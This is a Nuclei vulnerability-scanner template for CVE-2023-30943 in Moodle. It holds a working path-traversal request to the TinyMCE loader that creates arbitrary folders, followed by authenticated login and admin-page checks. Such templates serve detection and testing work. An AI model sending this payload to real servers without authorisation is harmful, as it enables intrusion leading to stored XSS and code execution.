id: CVE-2023-30943
info:
name: Moodle - Cross-Site Scripting/Remote Code Execution
author: ritikchaddha
severity: medium
description: |
The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
reference:
- https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
- https://nvd.nist.gov/vuln/detail/CVE-2023-30943
- http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-77718
- https://bugzilla.redhat.com/show_bug.cgi?id=2188605
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/54TM5H5PDUDYXOQ7X7PPYWP4AJDAE73I/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2023-30943
cwe-id: CWE-610,CWE-73
epss-score: 0.0138
epss-percentile: 0.84815
cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: moodle
product: moodle
shodan-query: title:"Moodle"
tags: cve,cve2023,moodle,xss,rce,authenticated
http:
- raw:
- |
GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/.png HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
GET /login/index.php HTTP/2
Host: {{Hostname}}
- |
POST /login/index.php HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
anchor=&logintoken={{token}}&username={{username}}&password={{password}}
- |
GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
Host: {{Hostname}}
host-redirects: true
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_4
words:
- ""
- ">archive"
- "File icon"
condition: and
- type: word
part: header_4
words:
- text/html
- type: status
part: header_4
status:
- 200
extractors:
- type: regex
part: body
name: token
group: 1
regex:
- 'name="logintoken" value="([a-zA-Z0-9]+)">'
internal: true